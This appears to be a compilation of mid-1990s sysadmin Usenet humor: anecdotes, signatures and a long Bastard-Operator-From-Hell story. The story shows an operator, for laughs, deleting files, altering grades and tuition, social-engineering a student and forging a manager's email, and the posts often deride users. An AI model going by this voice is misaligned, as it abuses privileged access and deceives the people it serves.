88b " 888 d88 dPY8b 88Y8b,8888 | | `"Y8888a 888ad8P'dPaaY8b 88 Y88P888 | | a, Y88 888 dP Y8b 88 YP 888 | | `"8ad8P'a888a a88a;*a888aa88a a888a | | ;*;;;;*;;;*;;;*,, | | _,---'':::';*;;;*;;;*;;*d;, | | .-' ::::::::::';*;;*;dII; | | .' ,<<<,. :::::::::::::::ffffff`. | | / ,<<<<<<<<,::::::::::::::::fffffI,\ | | .,<<<<<<<<<;,::::::::::fffKKIP | | | ``<<<<<<>>>>;,::::fffKKIPf ' | | \ `mYMMV?;;;;;;;\>>>>>>>>>,YIIPP"` / | | `. "":;;;;;;;;;i>>>>>>>>>>>>>, ,' | | `-._``":;;;sP'`"?>>>>>=========. | | `---..._______...|<[Hormel | | | `=========' | ========================================== %% >:Unfortunately, Canada hasn't had proper ISPs for over 300 years.... >It's sad that they have to have an AOL Canada when AOL is, in fact, part >of America and Canadians certainly aren't any less American than anyone >in the U.S. Hooo, boy, you better duck. Anyone wanna crosspost this to soc.culture.canada? During the time I've lived up here north of the border, I've come to believe that the defining characteristic of Canadians is that they will do *anything* to avoid being mistaken for Americans. %% This sounds so familiar that I must tell it :). I and Teemu Peltonen (Sysadmin of Turun Sanomat... Eh, now at military service for 8 months more) was watcing "Sudden Death" at the movies, we really got killed when one of bad guys was playing DOOM with laptop :). We laught and EVERYBODY else was really quiet in theather (I know they was wondering what was that funny). It's time to increase efficiency[1] and designate a new acronym. DARTA: Did Anybody (else) Read That As (1) 0 plus anything[2] is an increase. (2) Except negatives, of course. Also, I'd like to designate this post as candidate for Least Cohesive But Still Making Sense (sort of) Rambling of the Week. %% Sitting at console in the office Friday night 11:30, trying to get the hell out of the office....running screen...."Bell in 1"...."Bell in 1"...."Bell in 1" Now I'm thinking that's an awfully fast rate for mail to be coming in at this time of night. So I go take a look. UUggghhh....I've got a luser in the middle of the biggest SPAM anyone has done from our service ever. Worse part is he's a friend of mine. Time to go hunt down where he's logged in. Finally find out what modem he's on and cut him off. Suspend his account. Start dealing with the fall out of his SPAM. The supplier of my news feed mails me and asks me to take some action. It's 12:30am now. I want to go home!!!!! So, anyway this friend of mine is known to be a little submissive. We frequent the same gothic night club. So, I write him a note and tell him that he had better show up at the club on Saturday night for his BEATING or loose his account. He knows I'm pissed, but he knows he had better show up for his beating at the night club where it will raise a few eyebrows, instead of running into me at the mall and my having to truly beat him in public. So, off to the night club I go Saturday. Combat boots for stomping his ass and cat-o-nine tails at the hip for whipping. I walk into the club and he's sitting over against the wall with some friends. He sees me and starts pleading his case telling me about all the POSITIVE replys he got to his spam. Needless to say this shoots my blood pressure up a little. So I haul off and slap the luser across the face. He raises his hands to block the next shot. Which of course is BAD BAD behaviour in a slave, which of course calls for an extra slap. Well his face was nicely red after act 1, and he wasn't blushing. The luser decides to get on the dance floor and be all submissive, so I stomp on the luser with the combat boots a little. Push his ass over the rail of the dance floor and generally throw the luser around for a while. :> :> :> I'm starting to like this sysadmin job at this point. I beat on him a few more random times during the night. The last song plays, the lights come on and he looks at me with the whip in hand and says, "your not done yet..." To which the answer of course was "no." So I make him take his shirt off and floged his ass. I think he's going to have welts for as long as I'm going to be answering peoples email about his SPAM. That was a gratifying thought. Oh the joys of being a sysadmin. :) I think I'm going to hang the whip on the wall at the office. :> Anyone else got some good luser discipline stories? MarkX, pissed sysadminarchidomgoth. %% Phone rings... i turn down the nine inch nails.. i pick it up with dread and mutter "Systems." (I have learned not to give lusers my name. I am the only female voice that answers this phone.) Luser: is this systems? Me : uh, yes. Luser: i want to do internet from home, and netscape doesn't work Me : What does netscape say? Luser: It can't find "home.netscape.com" Me : Did you dial up to the U on the phone line? Luser: Yes.. Me : Do you need to set your IP address? Luser: IP address? Me : (groan) does anything else work? like telnet? ping? Luser: telnet? Me : Did you set a name server? Luser: (glimmer of recognition) I saw that box in Winsock but i didn't know what to put so i left it blank. Me : ok, go click on that box and type 128.101.101.101 Luser: 1281011100110? Me : (repeat last statement slowly) Luser: ok I'll try that. Me : yep 10 minutes pass... *ring* Me : Systems. Luser: Hi! i just talked to you about netscape.. it still doesn't work. Me : Sorry, i can't tell you anything else. Call the Microcomputer Helpline at . Luser: But are they open today [sunday]? Me : (sweetly) I don't think so. argv. %% And, FYI, we got the Solaris stuff one month after I had seen my first Unix box, and Linux was at kernel 0.9xxxxx, so don't even start, you Solaris fanatics. Wait, there was something terribly wrong with that last sentence..... >I don't know how original this is, but I watched someone set up a host >called "dash-dash" under the subdomain "dot" - think about pronouncing >the FQDN... I'm sure I've seen someone posting from atat@dotdot.demon.co.uk before now. The idea definately has great potential. atat@dotdot.dash-dash.dotdot anyone? Why not really confuse them with: atshift2@dotperiod.dotdot.at ---------------------------------------------------------------------------- | Mail | Mail | Starting Windows 95....... | MBTI | | alien@lspace.org | cmoa@lspace.org | This program has performed | score | | for Newbie Pack and | for GOLHCA | an illegal operation and | ENFP | | greetings to AFP | t-shirt | will be shut down. | | ---------------------------------------------------------------------------- Today's joke: Restore mail from the 1992 tapes and watch users reply to it. %% The worst thing is when some amoeba who called you for tech support insists on reading out the DOS prompt and even _what_they_just_typed_... Me: "OK, type 'cd windows'." Ape: "Right..." Me: "What does it say?" Ape: "It says 'see colon slash greater-than see dee windows'." Me: "*sigh* Press return..." Ape: "OK, it says 'see colon slash windows slash greater-than'." Me: "Right, do a dir." Ape: "Duh... how?" Me: "Type 'dir'." Ape: "It says 'see colon slash windows slash greater-than dir'." Me: " Press return!" Ape: "OK, it says lots of different things, and then 'see colon slash windows slash greater-than'. Oh, and there's always a flashy line after the greater-than, did I mention that?" %% riffer@afn.org : "As long as you hit that wire with the connecting hook at Jeff The Riffer : precisely 88 miles an hour the instant the lightning Drifter... : strikes the tower... everything will be fine." Homo Postmortemus : --Back To The Future riffer@afn.org : Moses to God: "Cut the end of my WHAT off??!!" Jeff The Riffer : Drifter... : Homo Postmortemus : I get the reverse problem trying to put the correct date on cheques I write on my birthday. I always want to put the year of my birth instead of the current year. >When I did lots of electronics bench work a few years ago, I used to >have this habbit of wiping my soldering iron on my jeans leg. Other >than marking up my jeans, this worked fine until the day I forgot I >was wearing shorts.... :-( Youch. A few years ago, I was repairing some ripped upholstery in my car with superglue. I too was wearing shorts. I glued my thigh to the car seat. Somewhere there's a 1971 Plymouth Valiant that has a hole in the seat that's patched with my skin. "Can't rollerskate in a Buffalo Herd..." -Theodore Roosevelt If you think I speak for my employers, ask me again... Member of the Movement to /dev/null Lusers I dunno. I think maybe I prefer a more laid back, but *much* more sinister type. Say, Strother Martin, in _Cool Hand Luke_: "First time you run an unauthorized bot, we chain yer ankles. Second time you run an unauthorized bot, we chain yer ankles, and set you in the box for a week. Third time you run an unauthorized bot... well, ain't noone ever run one a fourth time." %% Although my BOFH days are happily behind me, and hopefully my sysadmin days as well, I'll put in my vote: I'd want to be played by Val Kilmer, in a role similar to Chris Knight in _Real Genius_. Here's an excerpt from the novelization: Five minutes to midnight, Saturday. Any decent computing center would be closed now, or at least paying its operators time and a half for being on the job, but no, I'm sitting down here for nine bucks an hour while my friends are all drinking beer downtown. Ilium Polytechnic Research College maintains a "commitment" to its computing faciltiies, which means keeping them open twenty-four-and-seven for the benefit of the Xtrek freaks and graduate students with no lives. It's time to shut down the mainframe for the weekly backups. Who uses this thing any more? Since we went to a campus-wide Unix system, the only people doing anything on this big blue hunk of antiquated iron are the administration (who are all asleep now), and a few professors who just migrated from their abacus a couple of years before, so they're not going to take the time to learn yet another operating system. I check the batch queue. Two jobs from the Bursar's office, one from a user I'm not familiar with. Well, the admin weenies won't notice anything wrong until they get into the office on Monday, and it won't hurt the students to have their room and board bills go out a few days later than usual. Blast 'em. I give the mystery job a few more minutes to run while I think up the warning message of the week. Okay, how about this: "System's going down, doobie doo down down, camma camma down doobie doo down down, backing up is hard tooooo do." Five minutes till the mainframe shutdown. Just on a hunch, I send e-mail to a few cool hackers who might actually be doing something interesting at this hour: "Chair races in the computing center lobby at 1AM. I've got the tunes, you bring the refreshments." That last batch job is still cranking away. Too bad, whoever you are. I blast it and shut down the system. Slap the tapes in the drives and start the backups. So much for the mainframe, now a quick check on the Unix file servers. The monitoring program says that they're all okay, except for one partition that's over 98% capacity. I could call the sysadmins' beeper, or I could take care of it myself. Well, the on-call tech this week is an okay guy, and the operations manager has been saying we should try to take care of things ourselves if we can. No problem. I see that one user alone is responsible for more than fifty percent of the capacity on that partition. Lots of huge files with boring names. I doubt he'll miss them. Zap, off they go into data limbo. The phone rings. "Hello, operations!" "Who is this?" Bonehead. I just told you all you needed to know. "This is the IPR Operations Center, how can I help you?" "I had a batch job running on the mainframe, and now it seems to be inaccessible." Inaccessible? Who talks like that? Anyhow, the mystery batch user reveals himself. This ought to be fun. "Yes, I'm afraid we can't run your batch job while the weekly backups are running." "Weekly backups? I didn't know about any weekly backups!" "Don't know much, do you?" "Excuse me?" The best defense is a good offense. "Didn't you read the announcement in the Computing Center Bulletin about mainframe availability?" "Er... which issue was that in?" "It's in every issue. It's also in the online help system, the campus newspaper, the bulletin boards in the computing center lobby, and if you'd like me to tatoo it on the inside of your eyeballs in glowing ink, I'll be happy to do that for you!" "Do you have any idea who you're talking to!?" No, but I was hoping you'd tell me. Fingers ready at the keyboard, I say in my best Exceptional-Customer-Service voice, "No sir, to whom do I have the pleasure of speaking?" "This is _Professor_ Steve Timmins of the Omphaloscopy Department! My batch job contained important research work!" My, oh my. A professor, no less. Glad he made a point of emphasizing that. Let's see, a quick scan through the academic catalog for the good Professor's courses. I think all his students deserve to fail, just for having the bad judgment to take one of his courses. Clickety click, and the grades database is updated. "Hear that, professor? I just queued your job to run again at high priority as soon as the system comes back up." "When will that be?" Never ask an operator "when". "As soon as the weekly backups are finished." "And when do they usually finish?" Didn't you hear me the first time? "Well, that's variable, depending on a lot of technical factors, including how many new files were added during the week, how well the tape drives are working, and how much time the operator has to spend on the phone." "Oh, okay. Thanks." I'm impressed. He actually got the hint, _and_ thanked me. Too late, of course. "My pleasure." Let's see, I _should_ make sure that batch job runs. After a few choice alterations, of course. Set it to ring the phones of all the Deans and Trustees at five AM. What a useful technological advance, integrating the campus phone system with the mainframe. Then send them e-mail from Professor Timmins saying "How'd you like your little wake-up call? Serves you right for not recommending me for tenure!" Then have it erase all the files in his account, including itself. I finish this important task when the phone rings again. "Hello, operations!" "Hello? Is this the operations center?" My eardrums are assaulted by the most obnoxious voice known to man, woman or small furry creature from Alpha Centauri. Think Woody Allen with laryngitis. It gets worse from there. I recognize it right away. It's Andrew S. Whineman, campus gadfly and bane of the computing services department. I'm surprised it took him this long to call after the mainframe shutdown. "That's what I just said, Andy. How can I help you?" "How do you know my name?" "Telepathy. So what can I do for you?" "I just noticed that the mainframe was down." "That's right. It's down for our regularly scheduled weekly backups, the same as it was last week, and will be next week, and the week after that, and so forth." "Oh. Well, I just noticed that it was down and thought you might want to know." "Yes. Thank you." "Just in case there was some sort of problem." "THANK you." "By the way, do you think you could reschedule the backups to run some other time when people aren't using the mainframe?" This surprises me. Whineman is the ultimate tech-knurd, always raving about the newest versions of Unix and NFS and why the school doesn't have them yet. I didn't think he'd stoop to using the mainframe. "You were using the mainframe, Andy?" "No, I was just checking to make sure it was up. Because people might want to use it." Like HAL, I determine that this call can no longer serve any useful purpose, so I engineer a momentary failure of the phone system. When it comes back up, the phone immediately rings again, and I let the answering machine get it. It doesn't surprise me at all to hear Whineman's voice complaining about a phone problem. The problem with lusers like Whineman is that you can't do anything to them. Not that I haven't tried. I've deleted his files. I've hosed his sessions. I've trashed his print jobs. It only gives him more to complain about. Sooner or later I will think of a fitting punishment. It's getting close to 1AM, and the backups are chugging along, so I grab my boom box and some CD's and prepare to go up to join the chair races. Just as I'm about to leave, the phone rings again. This one's in trouble already. "Hello, Operations!" "The laser printer in the Engineering Center lab is out of paper! I need some new paper right now!" Ah. Demands. Ooookay... "All right. What's your userid?" "Why do you need to know that? I just need some paper!" So the kid thinks he's running the show. Must be a freshman. Shouldn't be hard to bamboozle. "Because we've had some problems with people stealing other students' passwords, logging into their accounts, and using up all their laser page allocation. They usually do this at the odd hours like now, so we like to check for possible security violations." He buys it, hook, line, and sinker. Tells me his userid. "Thanks. Let me check your account." Clickety click. "Hm, this is interesting. It says that you've got ten thousand pages allocated for this semester! I've never seen anyone with that many!" "Really?" I can hear the wheels clicking in what passes for his brain, wondering whether to admit that this must be a mistake. I decide to make the decision easier for him. "Oh, you must be in that new experimental program I heard about. They're going to give a few first-year students unlimited resources, and see if they perform better than their peers." "Wow! Nobody told me about that!" "They didn't? Oh, maybe they didn't want you to know... I think I heard something about how it'd work better if it was a secret. Tell you what, you just keep quiet about this and enjoy your laser pages." "Okay! Cool!" Yeah, cool, especially since they'll cost you a dollar each. Conveniently added onto your semester's tuition bill. Hope your parents' credit rating is good. "So when will I get my paper?" There's that bad word again. I was afraid he'd get back to that. "Well, I'm the only operator here, and we're in the middle of backups," which means I have less to do than ever, not more, but what do they know? "...so it may be a couple of hours." Anyhow, I have the chair races to go to, and the Engineering Center is halfway across campus, and there's a foot of snow on the ground. "Or you could come over to the computing center and get it yourself. I'll be happy to give you a few reams." Which should keep you busy printing out alt.sex.stories at a buck a page till dawn... "What?! GET IT MYSELF???" I quickly hold the phone at arm's length to prevent severe ear damage. "Listen, I pay 25 thousand dollars a year to go to this school! I expect better service than that!" 25 thousand, eh? Clickety click. No, now you pay _forty_ thousand per year. Plus your laser printer charges. And you'd better pony up if you ever want to see that diploma. Looks like Mom and Dad are going to have to sell your little sister into slavery. "Well, tell you what you can do, then..." "Yeah?" "You can take that 25K and go buy your own goddamn Sparcstation with a 600 dpi laser printer and a T3 connection to the Internet, and pay your own technician to take care of all your problems, and see if you get better service for that kind of money, or you can damn well wait till I have a spare minute to wait on you hand and foot!" Slam. End of phone call. Clickety click. I don't care how hard you study, your GPA's not going above a 2.5. Let's see what kind of job you can get with that when you graduate, and how long it takes you to buy your sister back from that Japanese CEO. I forward the phones upstairs and finally head up to join the chair races. One of the best things to happen to this school, when we upgraded the computer labs, was the addition of those nifty wheeled chairs. They make labs so much fun. Of course, we had problems with people stealing them, so one of my duties is to make sure they don't leave the computing center. No problem. The lobby is big enough for a good sized racetrack, and any chair that leaves through the front door is disqualified. The racers take the rules seriously, since first prize is the waiving of all phone, ethernet and printing charges for the year. Penalties for violating the rules are... well, best left to the imagination. About half a dozen guys are setting up tonight's course, moving workstation desks and printer stands. So it's going to be an obstacle race tonight. They're all members of the local chapter of the Assemblage of Computer Maniacs, the most feared campus organization among the computing services department. My motto is, if you can't beat 'em, join 'em. Their ringleader, Laszlo, a tall skinny fellow with hair down to the small of his back, waves as he sees me. "Okay guys, time to rock and roll!" I plug in the boom box and select a CD. Something classic seems appropriate. I pop in the Doobie Brothers, and the opening licks of "China Grove" start rattling the windows. Laszlo comes up to me with an unlabeled three-liter bottle filled with a brownish fluid. "Hey dude, have a drink!" He pulls a plastic cup from one of the pockets of his battered old army overcoat. I look at it suspiciously, but it seems to be clean. I hold out the cup for Laszlo to fill, then slug down the liquid. I feel my digestive tract start to burn from the epiglottis to the pyloric valve, at the same time as my heart speeds up from 33 to 78 rpm. All of my hairs are starting to stand up. "Yow! What do you call that?" "Volt. Vodka and Jolt." At a place like this, from people like these, I should have expected it. "Oh, by the way, dude," Laszlo begins, stepping out of the way to avoid one of his companions scooting by on a practice run, "we could use some more disk space for our virtual reality engine. You think you can take care of it?" "No problem. We just freed up about half of partition D on Springhead. I'll allocate it to you guys." He mumbles thanks, then plops his butt into a chair and begins to maneuver around the course. I head for a workstation, when I am intercepted by a hunched-over figure, eyes wide and myopic from too many hours of staring at a screen. "Excuse, please, sir." Oh great. If the posture and appearance hadn't given it away, the accent and politeness would have made it certain. Everything about this guy just screamed "foreign graduate student". "Yes?" The only vaguely unsatisfying thing about dealing with these types is that it's like shooting fish in a barrel. "Please to inform me who is responsible for the making of the loudness of the musical sounds?" "That'd be me. It's new computing center policy for Saturday nights." He blinks a few times. I wonder how he'll digest this. "I am sorry, I mean to inquire as to the name of the artist of the musicianship?" Now it's my turn to blink. "Um, it's the Doobie Brothers. Greatest Hits." He pulls a pad out of his pocket and scribbles something down in an alphabet that I can't read. "Is the compact disk readily available at the Music Emporium in the downtown?" "Sure. But not right now. Better wait till tomorrow afternoon when they're open." "Thank you. Party up, dude!" "On." "Yes, yes! Party on!" I sit down at the workstation, shaking my head. Just goes to show, you never know. I log in as "BOFH", and set up a new partition that only Laszlo and the rest of the Assemblage of Computer Maniacs will be able to access. I wonder how long it'll be before that guy whose files I zorched misses them. Just to keep an eye on things, I decide to grep /var/spool/mail for "operator". Good thing I did. There's a message from Jerry Schmuck, one of the managers upstairs. It's timestamped about ten minutes ago, and addressed to the Operations Manager, with copies sent to the Director of Operations, the Dean of Computing Services, the President of the University, and the President of the United States. To: Bob From: Jerry Subject: Operators' Behavior Bob: Several times during the weekend hours recently, I have noticed the night operators making an effort to enjoy themselves and have fun while on the job. While fun has its place, it is not what we pay operators for. I suggest that we find more work for the operators to do... It goes on. Obviously Jerry must be feeling pretty bored himself, if he has nothing better to do than to play Big Brother to Operations. He doesn't even work with Operations. I'm not even sure which group he's the manager of -- probably the Department of Redundancy Department. Anyhow, none of the recipients of his message have viewed it yet, so there's still time for a little creative editing. I think it would read better like this: To: Bob From: Jerry Subject: Operators' Pay Bob: Many times during the weekend hours, I have observed the operators working diligently in the service of this institution, sacrificing their social lives to provide continuous high-quality service to the school community. I think that the operators are not compensated well enough for this valuable service they provide... Now, time to go into the school's accounting program, to find the money for the raises. Let's check close to home first... well, what do you know! Eliminate Jerry's salary, and you could give all the operators fifteen percent raises! Sounds good to me. Clickety-click! I log off and kick my chair away from the desk, eager to join the race. I notice that the grad student has joined Laszlo and his gang. As we're sliding up to the starting line, I think I hear something over the din of the CD player. Could it be... please, no... alas, it is indeed the phone ringing in the upstairs operations room. For a moment I'm torn, but to the true Bastard Operator From Hell, harassing users is even more fun than recreation. I signal the guys to continue the race without me, and trot over to the phone. I check the caller ID: it's an off-campus number. I settle into the chair with a smile on my face. Making life hell for resident students is amusing. Making life hell for off-campus students is a challenge. I love a good challenge. "Hello, IPR Operations!" "Oh, am I glad to hear you!" And am I glad to hear _you_! It's a female voice -- a welcome rarity at this primarily male institution. "How can I help you?" "I can't get my printer to work!" Always nice of them to describe the problem so thoroughly. "What were you trying to do?" "I just clicked on 'print', but it didn't print!" What was that I was saying about loving a challenge? "Okay, what kind of printer are you using?" "I'm not sure... I think it's one of those laser printer thingies?" "Hmm. Which lab are you in?" "I'm the lab monitor down at the Carrie Nation computer lab." Aha! That explains a lot. Carrie Nation Women's College, located just down the hill from IPR, was founded in 1909 in order to give the engineers a ready supply of college-educated women to marry, and to give the daughters of well-off families a place to go to school where they'd have a good chance of snagging a husband with prospects. I kid you not. The phrase "politically correct" hadn't even been thought of then. "They have a lab down there open at this hour?" "Yeah, it seems pretty stupid to me, too. Nobody ever comes in here on a Saturday night. But it's my last semester, and I could use the money." "So they've got you all alone in this lab on a Saturday night? That sounds pretty dangerous. There are a lot of drunks and loonies wandering the streets of Ilium at this time of night." "Well, I keep the door locked, and if I think the person ringing the bell seems dangerous, I don't have to open it." "Okay, that seems like a better deal. But if you don't mind my saying so, it sounds like you're not too familiar with your equipment. I think I'd better come down there and help you use it." "Well, if it's not too much trouble..." I look out the window. The chair racers are going full tilt, swerving around the recycling bins, bouncing off the workstation desks. "It's a pretty slow night up here. I'd be glad to help you out." "I really appreciate it. I've got some things here that I've never used, and if someone could show me what to do with them, I'm sure it'd be a lot of fun." "I'm sure. I'll be down there in a few minutes." I hang up the phone, grab my coat and hat, and head back out to the lobby. "Hey Laszlo," I say, "I've got an off-site emergency to take care of. You owe me one for the disk space. Think you can keep an eye on the place for a while?" "No probs." I flip him the keys to the computer room. "Just in case you need to fix anything. And if the users get to be a pain, the BOFH password --" A grin splits Laszlo's face from ear to ear. "I know it, dude." I don my coat and head off down the hill, confident that the future of computing is in good hands. -- __ Live from the bustling metropolis of the Big Apple... ___/ | Jim Kasprzak, just a guy from New York. /____ | * Earth is too warm already! * \_| * Support Global Freezing! * *==== e-mail: jimcat@panix.com %% riffer@afn.org : Behind every satisfied woman is an exhausted man. Jeff The Riffer : Drifter... : Homo Postmortemus : riffer@afn.org : "Can you enhance this image digitally?" Jeff The Riffer : "Does a computer download in the woods?" Drifter... : --War Of The Worlds Homo Postmortemus : OK. In that case, my favorite LART is this little remote-controlled truck I got that's hysterical. It's got something that looks like a camper on the back of it, and you can push a button on the remote that will make the camper pop up, sort of like a dump truck pops up. Inside it's got 5 foam darts, and continued presses of the button on the remote fire the darts. They'll go a good 20 feet. It's great the first time you use it on somebody. You drive the truck up to them, and they're looking at it and smiling, and all of a sudden it starts firing at them. *cackle* %% >I swear I'm gonna kill SMTP. Slowly and painfully. Why ? What's SMTP ever done to you to deserve death ? Most of the problems related to SMTP are Luser created. I mean, its hardly SMTP's fault that lusers often show less intelligence than rocks is it ? You should view SMTP as a nice friendly animal that does *exactly* what you tell it too... a dog would be a good example I guess :) The normal way it should work is: Luser: hmmm, I've got some mail to send out. SMTP! Where are you ? SMTP : Woof! Luser: I've got some nice mail for you! SMTP : Woof! Luser: Here SMTP, fetch! SMTP : Woof! Luser: Good SMTP. However, certain Lusers who think that they know what they are doing, don't do this. They don't treat SMTP very nicely and so SMTP responds in the typical way: Luser: Oi, SMTP! Where is that damned mail thing. Oi! SMTP : Grrrrrr Luser: Don't do that. BAD SMTP. SMTP : GRRRRRRR Luser: Down... I've got some mail for you SMTP : Yelp! Luser: Now, deliver it for me. SMTP : GRRRR Luser: Argghhg... down, get off. I'll tell postmaster at you SMTP : Luser: Get Off Me ! SMTP : Luser: Aieeee, Postmaster! Help PM : Alright, SMTP. HEEL! SMTP : PM : Okay, what happened here then ? Luser: Well, I was trying to send some mail and... PM : I wasn't talking to *you*. I was asking SMTP. Luser: What! You're going to trust that thing! PM : yes. Okay SMTP, what happened SMTP : Woof PM : What, this luser hit you with that badly formed EMail message and put you into a mail loop ? Luser: I didn't do th... SMTP : WOOF PM : SMTP seems to disagree with you. Looks like SMTP was correct to do some preventive maintainence on you Luser: Preventive maintainence? It attacked me! PM : Exactly.... it will stop you from doing it again. Or it will once SMTP has finished with you. Luser: Wha.. PM : Hmmm, I've always wondered. Just how fast can a Luser run. SMTP, ATTACK! Luser: Argghgh.... SMTP : GRRRRR Luser: AIEEEEIGIGHGH PM : Not fast enough I guess. [1]: Its a normal thing with most dogs... they don't really care *who* you are.... I guess I'm seeing SMTP as something like a labrador.... Although on some sites would prefer to see SMTP as a rabid wolverine :) Thankfully, we're getting rid of all our customers who have a static IP address fairly soon. Which also means that they are not going to have stuff waiting in the mail queue any longer. A whole range of problems will be reduced in size :) %% >SMTP is an inbreed pekenise with cross eyes. Good natured if you treat if >well, loud and yappy if you don't. I was thinking about this last night.... I also started thinking about what animals (or cross breeds more to the point) SMTP gateways would be. I guess that MS-Mail could be seen as an pit of angry scorpions. An SMTP<=>MS-Mail gateway would be a large scorpion/pekenise mix that would attack at a moments notice (well, no notice at all). Greybook could be a creature that is forever walking backwards... which leads to no end of trouble when it starts to walk near creatures that walk forwards. It always ends up bumping into them, knocking things over, etc. >>I was thinking about this last night.... I also started thinking about what >>animals (or cross breeds more to the point) SMTP gateways would be. I guess >>that MS-Mail could be seen as an pit of angry scorpions. >Unfortunately this analogy fails if you try to extend it further. I've been >trying to figure out what MS Exchange would be, and the closest I could get >was a blue whale with amnesia. If you extend the range outside the animal >kingdom then perhaps Cthulhu (huge and bloated, spends most of its time doing >nothing, but phenomenally destructive in the few moments when it's awake). And what is wrong with blue whales ? I would say that a duck billed platipus (or however its spelt) would be better, if only for the response it received when a stuffed version was first seen in the UK. No one believed that such a creature could exist until one was seen in the wild. Until then most scientists thought that it was a joke cobled together from various bits of other creatures. Kinda sums up MS Exchange fairly well :) >Anyone out there have any opinions on Lotus cc:mail? And the gateway to make >it work with SMTP? Run the fuck away. Now. It is *more* broken than you can possibly imagine, and the tech support is so bad it makes -- it makes -- it's so bad you might find yourself preferring converse with users. I recently saw a book (co-written by Paul Vixie, I think) called something like "Sendmail Theory and Practice," and couldn't help but wonder why they even bothered to put 'em both in the same book. I mean, there's hardly any correlation between sendmail theory, practice, man pages, other online documentation.... (Don't get me wrong, I like sendmail. I've been able to get it to do wild & crazy things for the CDT. But it's still a bitch to configure.) %% -- _________________________________________________________________________ Abby Franquemont-Guillory "You're the Lord of Darkness? Big deal. abbyfg@tezcat.net What was your username again?" news@tezcat.net --Gary "Wolf" Barnes in a.s.r. Administrative Staff, Tezcatlipoca Inc. http://www.tezcat.com/ ObASR: Of course cats are the pets for sysadmins. After all, there's no dog command in Unix. I mean, there's tail, and you can name files "wags" or something, but it's not the same. See. D.S. Ritter -- require "disclaimer.pl" unless $SPECIFIED; Work: dan@spectra.net [INTX news/web/sysadm Guy Who Does Stuff As Root] Home: dan@blackbox.core.binghamton.edu [UNIX curmudgeon, 6'5" teddy bear] "It's not called the Net of a Million Lies for nothing." -- Vernor Vinge Also on the warning list: --a present or past interest in theatre --utter impatience with incompetence --a deep, abiding love of good beer and liquor --[corollary] a distaste for non-alcoholic recreational drugs --a preference for off-the-wall humor (Firesign Theatre, Zippy the Pinhead, Mel Brooks movies) What I've discovered is *not* a symptom of SysAdmin-itis: --gender --geekiness My fiance and I have a total of four cats. The younger two were named when we were too tired to think straight. The male looks like a Holstein, so he got named "Gateway". The female has a kink in her tail that looks like an ethernet terminator... she's named "Sparc". And, of course, all four are daemons... %% Inasmuch as home is a place of refuge and solace from the trials and tribulations of the sysadmin workplace, dogs make far the better pet. Sure, pets are always going to have similarities to lusers (both have small brains, both have problems figuring out how to turn on the computer, etc.) but dogs fit the role of the home far better than the cat. Dogs may do things wrong, but unlike lusers, when you inform them that they have erred, dogs are contrite. Unlike lusers, dogs can be taught how to do things properly. Unlike lusers, dogs are actually upset when you are unhappy, and they strive to make your life more pleasant, even if their powers to do so are severely constrained by nature. Lusers are similarly enfeebled, but at least dogs make the effort. Unlike cats, dogs actually give the resting sysadmin hope that stupid, hopelessly mentally incompetent creatures have a sufficient modicum of good sense to _try_ to make up for their idiocy. But then again, if you spend all night surrounded by cats, that probably makes it easier to go to work in the morning. Dog owners rapidly become, I theorize based on personal experience, very disillusioned sysadmins. And shouldn't I be doing this in another news group? Wait, shouldn't I be at home right now? Oh, yeah, my pipes froze last night, and I am in heavy denial that everything I own is now waterlogged and frozen. Hah! It was just a dream! A DREAM!!!!!! (whimper.) I wish my dog weren't 450 miles away. %% [reasons dogs are unlike lusers] Well, I must disagree here. While I prefer dogs as pets, there are certain similarities to lusers: Both run wildly in circles, chasing their tails Both tend to bark when excited Both can play fetch. For dogs, you throw a stick/ball and they bring it back. For lusers, you say, "while I'm fixing your mistake, why don't you go down to storage and get me another box of inodes for the disks; they're getting low." Both should wear collars and leashes Muzzles can be used when necessary Both would get LARTed for trying to hump your leg Both should be spayed/neutered to prevent a population explosion Both can eat ravenously; dogs eat food, while lusers eat disk space Both really need obedience training early in life If they are being really annoying, you can lock them outside Both leave smoking piles of shit for you to clean up Both hang their tongues out and drool A dog would tend to slobber on the keyboard, much like a luser "surfing the web" Bill Napier | e-mail: napier@eniac.seas.upenn.edu Computer Consultant | WWW: http://www.seas.upenn.edu/~napier CETS - Univ. of Penn. | finger for more information (phone, PGP, etc.) ----------------------------------------------------------------------- The steady state of disks is full. -Ken Thompson >So I killed it. Like I kill all such bletcherous abominations >the second I recognize them for what they are. And then I used >MS Word 6.0 about, oh, three times total in a year. Damn thing >wouldn't behave properly and I could never tell if I was in insert >mode or not, and hitting esc didn't work properly, and I kept >getting all these random i's and o's and w's and b's and stuff. >Really pissed me off. bela [~pete/]$ spew < scone --currant | tee monitor > desktop : After wanting some for almost a year I finally got two kittens this : weekend. Dastardly and Mutley. (or is that Muttley?) They are : wonderful although in retrospect perhaps Brain Damage and Bonkers : would have been a better choice of names. Muttley. we got a couple of servers called Dastardly & Muttley. The above could also be complete bullshit. But it seemed to make sense at the time.... --------------------My real computer is an Amiga--------------------- - Matt White whitem@arts.usask.ca - - Network Technical Support http://arts.usask.ca/~whitem - - College of Arts & Science University of Saskatchewan - --------------------------------------------------------------------- They say opposites attract, but I don't agree I want a woman just as tacky as me. Confederate Railroad..."Trashy Women" >>>I was reading my parent's copy of "C is for Cat" and one of the things >>C is for cats? Whoah. What's C++ for? >That's easy. >They made the kernel of the cat smaller so it could compile faster. Um, you don't let your cats eat kernels, do you? Because I don't think you told me about that part before you hired me. I guess you did tell me we were the ISP of ill-cat-repuke, though. Hmmm. I think it's time to go home now, before my own cats compile enough stuff that they end up dumping core in the wrong partition, or some such thing... >C is for cats? Whoah. What's C++ for? C++ is for Maine Coons. Haven't you been reading the other bits of this thread? (Wouldn't expect just *any* cat to grok class inheritance, would you?) %% obASR: With the release of Netscrap 2.0 this week, I've gotten a few of the following phone calls: "Hi. Is netscape down or is it me?" [first time call came in, I checked, and while they were up, they were really slow, even using Lynx on a T-1] "Netscape is up, their server is just very slow because everyone is trying to download the new version." The rest of the conversation varied somewhat. One guy wanted me to download it for him because "he absolutely had to have the newest version of Netscape tonight because his new girlfriend was coming over". She must be pretty easy if all it takes to impress her is a new version of Netscape. Heck, I didn't even bat an eyelash when my dude started waving 2 16MB SIMMS in front of me. Of course, he is letting me go to the cable store to get some custom cables done ... %% -- colin@inzo.co.nz | Disclaimer: Opinions expressed in this colin@kcbbs.gen.nz | post are probably not those of Internet NZ colin@utf.gen.nz | Online unless I explicitly say so. -------------------------+---+--------------------------------------- Campaigning for 4 line sigs | BAAWA, Junior Lt, 3rd Assault Div. I use a black and white HDS X viewstation at work. The mouse is dying, and the fonts don't work so I can't even 